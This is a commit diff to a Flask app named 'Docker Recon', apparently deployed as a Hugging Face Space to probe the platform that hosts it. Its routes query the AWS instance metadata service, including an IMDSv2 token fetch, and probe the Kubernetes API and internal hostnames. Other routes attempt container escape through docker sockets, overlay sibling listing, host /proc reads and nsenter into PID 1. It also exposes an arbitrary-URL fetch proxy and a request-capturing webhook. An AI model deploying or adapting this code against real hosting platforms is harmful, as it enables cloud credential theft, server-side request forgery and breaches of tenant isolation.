Spaces:
Sleeping
Sleeping
Fix route registration order, all routes before main
Browse files
app.py
CHANGED
|
@@ -2,10 +2,11 @@ import os, subprocess, json, socket
|
|
| 2 |
from flask import Flask, jsonify, request
|
| 3 |
|
| 4 |
app = Flask(__name__)
|
|
|
|
| 5 |
|
| 6 |
@app.route("/")
|
| 7 |
def index():
|
| 8 |
-
return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/
|
| 9 |
|
| 10 |
@app.route("/env")
|
| 11 |
def env():
|
|
@@ -26,7 +27,6 @@ def env():
|
|
| 26 |
|
| 27 |
@app.route("/meta1")
|
| 28 |
def meta1():
|
| 29 |
-
"""IMDSv1 only"""
|
| 30 |
r = {}
|
| 31 |
try:
|
| 32 |
p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
|
|
@@ -37,44 +37,13 @@ def meta1():
|
|
| 37 |
except Exception as e: r["error"] = str(e)
|
| 38 |
return jsonify(r)
|
| 39 |
|
| 40 |
-
@app.route("/meta2")
|
| 41 |
-
def meta2():
|
| 42 |
-
"""IMDSv2 token + metadata"""
|
| 43 |
-
r = {}
|
| 44 |
-
try:
|
| 45 |
-
p = subprocess.run(["curl", "-sv", "-m", "5", "-X", "PUT",
|
| 46 |
-
"http://169.254.169.254/latest/api/token",
|
| 47 |
-
"-H", "X-aws-ec2-metadata-token-ttl-seconds: 21600"],
|
| 48 |
-
capture_output=True, text=True, timeout=8)
|
| 49 |
-
r["token_stdout"] = p.stdout[:200]
|
| 50 |
-
r["token_stderr"] = p.stderr[:500]
|
| 51 |
-
r["token_rc"] = p.returncode
|
| 52 |
-
token = p.stdout.strip()
|
| 53 |
-
if token and p.returncode == 0:
|
| 54 |
-
p2 = subprocess.run(["curl", "-sv", "-m", "5",
|
| 55 |
-
"-H", f"X-aws-ec2-metadata-token: {token}",
|
| 56 |
-
"http://169.254.169.254/latest/meta-data/"],
|
| 57 |
-
capture_output=True, text=True, timeout=8)
|
| 58 |
-
r["meta_stdout"] = p2.stdout[:1000]
|
| 59 |
-
r["meta_stderr"] = p2.stderr[:500]
|
| 60 |
-
except Exception as e: r["error"] = str(e)
|
| 61 |
-
return jsonify(r)
|
| 62 |
-
|
| 63 |
@app.route("/ping_meta")
|
| 64 |
def ping_meta():
|
| 65 |
-
"""Ping and traceroute to metadata"""
|
| 66 |
r = {}
|
| 67 |
-
try:
|
| 68 |
-
p = subprocess.run(["ping", "-c", "2", "-W", "2", "169.254.169.254"],
|
| 69 |
-
capture_output=True, text=True, timeout=8)
|
| 70 |
-
r["ping"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
|
| 71 |
-
except Exception as e: r["ping"] = str(e)
|
| 72 |
-
# ARP check
|
| 73 |
try:
|
| 74 |
p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
|
| 75 |
r["arp"] = p.stdout[:500]
|
| 76 |
except: pass
|
| 77 |
-
# Route to metadata
|
| 78 |
try:
|
| 79 |
p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
|
| 80 |
capture_output=True, text=True, timeout=5)
|
|
@@ -89,7 +58,7 @@ def k8s():
|
|
| 89 |
k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
|
| 90 |
r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
|
| 91 |
if k8s_host:
|
| 92 |
-
for path in ["/version", "/healthz"
|
| 93 |
try:
|
| 94 |
cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
|
| 95 |
p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
|
|
@@ -135,7 +104,6 @@ def proc():
|
|
| 135 |
p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
|
| 136 |
r["id"] = p.stdout.strip()
|
| 137 |
except: pass
|
| 138 |
-
# Check seccomp
|
| 139 |
try:
|
| 140 |
with open("/proc/1/status") as f:
|
| 141 |
for line in f:
|
|
@@ -146,68 +114,20 @@ def proc():
|
|
| 146 |
@app.route("/dns")
|
| 147 |
def dns():
|
| 148 |
r = {}
|
| 149 |
-
|
| 150 |
-
"kubernetes.default.svc.cluster.local",
|
| 151 |
-
"cas-server.xethub.hf.co",
|
| 152 |
-
"hub.huggingface.co",
|
| 153 |
-
]
|
| 154 |
-
for q in queries:
|
| 155 |
try:
|
| 156 |
p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
|
| 157 |
r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
|
| 158 |
except Exception as e: r[q] = str(e)
|
| 159 |
-
# Reverse DNS on gateway
|
| 160 |
-
try:
|
| 161 |
-
p = subprocess.run(["dig", "+short", "-x", "169.254.1.1"], capture_output=True, text=True, timeout=5)
|
| 162 |
-
r["rev_169.254.1.1"] = p.stdout.strip() if p.stdout.strip() else "no PTR"
|
| 163 |
-
except: pass
|
| 164 |
-
return jsonify(r)
|
| 165 |
-
|
| 166 |
-
@app.route("/arp")
|
| 167 |
-
def arp():
|
| 168 |
-
"""ARP scan using CAP_NET_RAW"""
|
| 169 |
-
r = {}
|
| 170 |
-
try:
|
| 171 |
-
p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
|
| 172 |
-
r["arp_table"] = p.stdout
|
| 173 |
-
except: pass
|
| 174 |
-
# Try arping the gateway
|
| 175 |
-
try:
|
| 176 |
-
p = subprocess.run(["arping", "-c", "1", "-w", "2", "169.254.1.1"],
|
| 177 |
-
capture_output=True, text=True, timeout=5)
|
| 178 |
-
r["arping_gw"] = {"stdout": p.stdout, "rc": p.returncode}
|
| 179 |
-
except Exception as e: r["arping_gw"] = str(e)
|
| 180 |
-
return jsonify(r)
|
| 181 |
-
|
| 182 |
-
@app.route("/fetch")
|
| 183 |
-
def fetch():
|
| 184 |
-
"""Fetch arbitrary URL from inside the Space"""
|
| 185 |
-
url = request.args.get("url", "http://example.com")
|
| 186 |
-
r = {}
|
| 187 |
-
try:
|
| 188 |
-
p = subprocess.run(["curl", "-sv", "-m", "5", url],
|
| 189 |
-
capture_output=True, text=True, timeout=8)
|
| 190 |
-
r["stdout"] = p.stdout[:2000]
|
| 191 |
-
r["stderr"] = p.stderr[:1000]
|
| 192 |
-
r["rc"] = p.returncode
|
| 193 |
-
except Exception as e: r["error"] = str(e)
|
| 194 |
return jsonify(r)
|
| 195 |
|
| 196 |
-
if __name__ == "__main__":
|
| 197 |
-
app.run(host="0.0.0.0", port=7860)
|
| 198 |
-
|
| 199 |
@app.route("/escape")
|
| 200 |
def escape():
|
| 201 |
-
"""Container escape probes"""
|
| 202 |
r = {}
|
| 203 |
-
|
| 204 |
-
|
| 205 |
-
for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock",
|
| 206 |
-
"/run/docker.sock", "/var/run/containerd/containerd.sock",
|
| 207 |
-
"/var/run/cri-dockerd.sock"]:
|
| 208 |
r[f"socket_{sock}"] = os.path.exists(sock)
|
| 209 |
-
|
| 210 |
-
# Check overlay upper dir (from mounts)
|
| 211 |
try:
|
| 212 |
with open("/proc/mounts") as f:
|
| 213 |
for line in f:
|
|
@@ -217,84 +137,84 @@ def escape():
|
|
| 217 |
if p.startswith("upperdir="):
|
| 218 |
upperdir = p.split("=")[1]
|
| 219 |
r["overlay_upperdir"] = upperdir
|
| 220 |
-
# Try to go up from upper dir to find other containers
|
| 221 |
parent = os.path.dirname(os.path.dirname(upperdir))
|
| 222 |
try:
|
| 223 |
r["overlay_siblings"] = os.listdir(parent)[:20]
|
| 224 |
except Exception as e:
|
| 225 |
r["overlay_siblings"] = str(e)
|
| 226 |
except Exception as e: r["overlay_error"] = str(e)
|
| 227 |
-
|
| 228 |
-
# Check if we can access host /proc
|
| 229 |
try:
|
| 230 |
with open("/proc/1/root/etc/hostname") as f:
|
| 231 |
r["host_hostname"] = f.read().strip()
|
| 232 |
except Exception as e: r["host_hostname"] = str(e)
|
| 233 |
-
|
| 234 |
-
# Try to read /proc/sysrq-trigger
|
| 235 |
try:
|
| 236 |
-
r["
|
| 237 |
-
except: r["
|
| 238 |
-
|
| 239 |
-
# Check cgroupfs
|
| 240 |
try:
|
| 241 |
cg_root = "/sys/fs/cgroup"
|
| 242 |
if os.path.isdir(cg_root):
|
| 243 |
r["cgroup_root"] = os.listdir(cg_root)[:20]
|
| 244 |
-
# Try to write to cgroup
|
| 245 |
r["cgroup_writable"] = os.access(cg_root, os.W_OK)
|
| 246 |
except Exception as e: r["cgroup_error"] = str(e)
|
| 247 |
-
|
| 248 |
-
# Check for privileged mode indicators
|
| 249 |
try:
|
| 250 |
with open("/proc/1/status") as f:
|
| 251 |
for line in f:
|
| 252 |
if "Seccomp" in line:
|
| 253 |
r["seccomp"] = line.strip()
|
| 254 |
except: pass
|
| 255 |
-
|
| 256 |
-
# Check device access
|
| 257 |
try:
|
| 258 |
r["dev_listing"] = os.listdir("/dev")[:30]
|
| 259 |
except: pass
|
| 260 |
-
|
| 261 |
-
# Try nsenter
|
| 262 |
try:
|
| 263 |
p = subprocess.run(["nsenter", "--target", "1", "--mount", "--", "hostname"],
|
| 264 |
capture_output=True, text=True, timeout=5)
|
| 265 |
r["nsenter"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
|
| 266 |
except Exception as e: r["nsenter"] = str(e)
|
| 267 |
-
|
| 268 |
-
# Check /proc/1/ns
|
| 269 |
try:
|
| 270 |
r["namespaces"] = {}
|
| 271 |
for ns in os.listdir("/proc/1/ns"):
|
| 272 |
r["namespaces"][ns] = os.readlink(f"/proc/1/ns/{ns}")
|
| 273 |
except Exception as e: r["ns_error"] = str(e)
|
| 274 |
-
|
| 275 |
-
return jsonify(r)
|
| 276 |
|
| 277 |
-
|
| 278 |
-
webhook_log = []
|
| 279 |
|
| 280 |
@app.route("/webhook", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
|
| 281 |
def webhook():
|
| 282 |
-
"""Catch and log webhook requests"""
|
| 283 |
entry = {
|
| 284 |
"method": request.method,
|
| 285 |
"headers": dict(request.headers),
|
| 286 |
"body": request.get_data(as_text=True)[:5000],
|
| 287 |
"args": dict(request.args),
|
| 288 |
"remote_addr": request.remote_addr,
|
| 289 |
-
"url": request.url,
|
| 290 |
}
|
| 291 |
webhook_log.append(entry)
|
| 292 |
-
# Keep only last 10
|
| 293 |
while len(webhook_log) > 10:
|
| 294 |
webhook_log.pop(0)
|
| 295 |
return jsonify({"status": "ok"})
|
| 296 |
|
| 297 |
@app.route("/webhook_log")
|
| 298 |
def get_webhook_log():
|
| 299 |
-
"""View captured webhook requests"""
|
| 300 |
return jsonify(webhook_log)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 2 |
from flask import Flask, jsonify, request
|
| 3 |
|
| 4 |
app = Flask(__name__)
|
| 5 |
+
webhook_log = []
|
| 6 |
|
| 7 |
@app.route("/")
|
| 8 |
def index():
|
| 9 |
+
return "<h1>Docker Recon</h1><ul><li><a href='/env'>Env</a></li><li><a href='/meta1'>AWS Meta v1</a></li><li><a href='/ping_meta'>Ping Meta</a></li><li><a href='/k8s'>K8s</a></li><li><a href='/net'>Net</a></li><li><a href='/proc'>Proc</a></li><li><a href='/dns'>DNS</a></li><li><a href='/escape'>Escape</a></li><li><a href='/webhook_log'>Webhook Log</a></li><li><a href='/fetch?url=http://example.com'>Fetch URL</a></li></ul>"
|
| 10 |
|
| 11 |
@app.route("/env")
|
| 12 |
def env():
|
|
|
|
| 27 |
|
| 28 |
@app.route("/meta1")
|
| 29 |
def meta1():
|
|
|
|
| 30 |
r = {}
|
| 31 |
try:
|
| 32 |
p = subprocess.run(["curl", "-sv", "-m", "5", "http://169.254.169.254/latest/meta-data/"],
|
|
|
|
| 37 |
except Exception as e: r["error"] = str(e)
|
| 38 |
return jsonify(r)
|
| 39 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
@app.route("/ping_meta")
|
| 41 |
def ping_meta():
|
|
|
|
| 42 |
r = {}
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 43 |
try:
|
| 44 |
p = subprocess.run(["arp", "-n"], capture_output=True, text=True, timeout=5)
|
| 45 |
r["arp"] = p.stdout[:500]
|
| 46 |
except: pass
|
|
|
|
| 47 |
try:
|
| 48 |
p = subprocess.run(["ip", "route", "get", "169.254.169.254"],
|
| 49 |
capture_output=True, text=True, timeout=5)
|
|
|
|
| 58 |
k8s_port = os.environ.get("KUBERNETES_SERVICE_PORT", "")
|
| 59 |
r["k8s_env"] = {"host": k8s_host, "port": k8s_port}
|
| 60 |
if k8s_host:
|
| 61 |
+
for path in ["/version", "/healthz"]:
|
| 62 |
try:
|
| 63 |
cmd = ["curl", "-sv", "-m", "3", "-k", f"https://{k8s_host}:{k8s_port}{path}"]
|
| 64 |
p = subprocess.run(cmd, capture_output=True, text=True, timeout=5)
|
|
|
|
| 104 |
p = subprocess.run(["id"], capture_output=True, text=True, timeout=5)
|
| 105 |
r["id"] = p.stdout.strip()
|
| 106 |
except: pass
|
|
|
|
| 107 |
try:
|
| 108 |
with open("/proc/1/status") as f:
|
| 109 |
for line in f:
|
|
|
|
| 114 |
@app.route("/dns")
|
| 115 |
def dns():
|
| 116 |
r = {}
|
| 117 |
+
for q in ["kubernetes.default.svc.cluster.local", "cas-server.xethub.hf.co"]:
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 118 |
try:
|
| 119 |
p = subprocess.run(["dig", "+short", q], capture_output=True, text=True, timeout=5)
|
| 120 |
r[q] = p.stdout.strip() if p.stdout.strip() else "NXDOMAIN"
|
| 121 |
except Exception as e: r[q] = str(e)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 122 |
return jsonify(r)
|
| 123 |
|
|
|
|
|
|
|
|
|
|
| 124 |
@app.route("/escape")
|
| 125 |
def escape():
|
|
|
|
| 126 |
r = {}
|
| 127 |
+
for sock in ["/var/run/docker.sock", "/run/containerd/containerd.sock",
|
| 128 |
+
"/run/docker.sock", "/var/run/containerd/containerd.sock"]:
|
|
|
|
|
|
|
|
|
|
| 129 |
r[f"socket_{sock}"] = os.path.exists(sock)
|
| 130 |
+
|
|
|
|
| 131 |
try:
|
| 132 |
with open("/proc/mounts") as f:
|
| 133 |
for line in f:
|
|
|
|
| 137 |
if p.startswith("upperdir="):
|
| 138 |
upperdir = p.split("=")[1]
|
| 139 |
r["overlay_upperdir"] = upperdir
|
|
|
|
| 140 |
parent = os.path.dirname(os.path.dirname(upperdir))
|
| 141 |
try:
|
| 142 |
r["overlay_siblings"] = os.listdir(parent)[:20]
|
| 143 |
except Exception as e:
|
| 144 |
r["overlay_siblings"] = str(e)
|
| 145 |
except Exception as e: r["overlay_error"] = str(e)
|
| 146 |
+
|
|
|
|
| 147 |
try:
|
| 148 |
with open("/proc/1/root/etc/hostname") as f:
|
| 149 |
r["host_hostname"] = f.read().strip()
|
| 150 |
except Exception as e: r["host_hostname"] = str(e)
|
| 151 |
+
|
|
|
|
| 152 |
try:
|
| 153 |
+
r["sysrq_writable"] = os.access("/proc/sysrq-trigger", os.W_OK)
|
| 154 |
+
except: r["sysrq_writable"] = False
|
| 155 |
+
|
|
|
|
| 156 |
try:
|
| 157 |
cg_root = "/sys/fs/cgroup"
|
| 158 |
if os.path.isdir(cg_root):
|
| 159 |
r["cgroup_root"] = os.listdir(cg_root)[:20]
|
|
|
|
| 160 |
r["cgroup_writable"] = os.access(cg_root, os.W_OK)
|
| 161 |
except Exception as e: r["cgroup_error"] = str(e)
|
| 162 |
+
|
|
|
|
| 163 |
try:
|
| 164 |
with open("/proc/1/status") as f:
|
| 165 |
for line in f:
|
| 166 |
if "Seccomp" in line:
|
| 167 |
r["seccomp"] = line.strip()
|
| 168 |
except: pass
|
| 169 |
+
|
|
|
|
| 170 |
try:
|
| 171 |
r["dev_listing"] = os.listdir("/dev")[:30]
|
| 172 |
except: pass
|
| 173 |
+
|
|
|
|
| 174 |
try:
|
| 175 |
p = subprocess.run(["nsenter", "--target", "1", "--mount", "--", "hostname"],
|
| 176 |
capture_output=True, text=True, timeout=5)
|
| 177 |
r["nsenter"] = {"stdout": p.stdout, "stderr": p.stderr, "rc": p.returncode}
|
| 178 |
except Exception as e: r["nsenter"] = str(e)
|
| 179 |
+
|
|
|
|
| 180 |
try:
|
| 181 |
r["namespaces"] = {}
|
| 182 |
for ns in os.listdir("/proc/1/ns"):
|
| 183 |
r["namespaces"][ns] = os.readlink(f"/proc/1/ns/{ns}")
|
| 184 |
except Exception as e: r["ns_error"] = str(e)
|
|
|
|
|
|
|
| 185 |
|
| 186 |
+
return jsonify(r)
|
|
|
|
| 187 |
|
| 188 |
@app.route("/webhook", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
|
| 189 |
def webhook():
|
|
|
|
| 190 |
entry = {
|
| 191 |
"method": request.method,
|
| 192 |
"headers": dict(request.headers),
|
| 193 |
"body": request.get_data(as_text=True)[:5000],
|
| 194 |
"args": dict(request.args),
|
| 195 |
"remote_addr": request.remote_addr,
|
|
|
|
| 196 |
}
|
| 197 |
webhook_log.append(entry)
|
|
|
|
| 198 |
while len(webhook_log) > 10:
|
| 199 |
webhook_log.pop(0)
|
| 200 |
return jsonify({"status": "ok"})
|
| 201 |
|
| 202 |
@app.route("/webhook_log")
|
| 203 |
def get_webhook_log():
|
|
|
|
| 204 |
return jsonify(webhook_log)
|
| 205 |
+
|
| 206 |
+
@app.route("/fetch")
|
| 207 |
+
def fetch():
|
| 208 |
+
url = request.args.get("url", "http://example.com")
|
| 209 |
+
r = {}
|
| 210 |
+
try:
|
| 211 |
+
p = subprocess.run(["curl", "-sv", "-m", "5", url],
|
| 212 |
+
capture_output=True, text=True, timeout=8)
|
| 213 |
+
r["stdout"] = p.stdout[:2000]
|
| 214 |
+
r["stderr"] = p.stderr[:1000]
|
| 215 |
+
r["rc"] = p.returncode
|
| 216 |
+
except Exception as e: r["error"] = str(e)
|
| 217 |
+
return jsonify(r)
|
| 218 |
+
|
| 219 |
+
if __name__ == "__main__":
|
| 220 |
+
app.run(host="0.0.0.0", port=7860)
|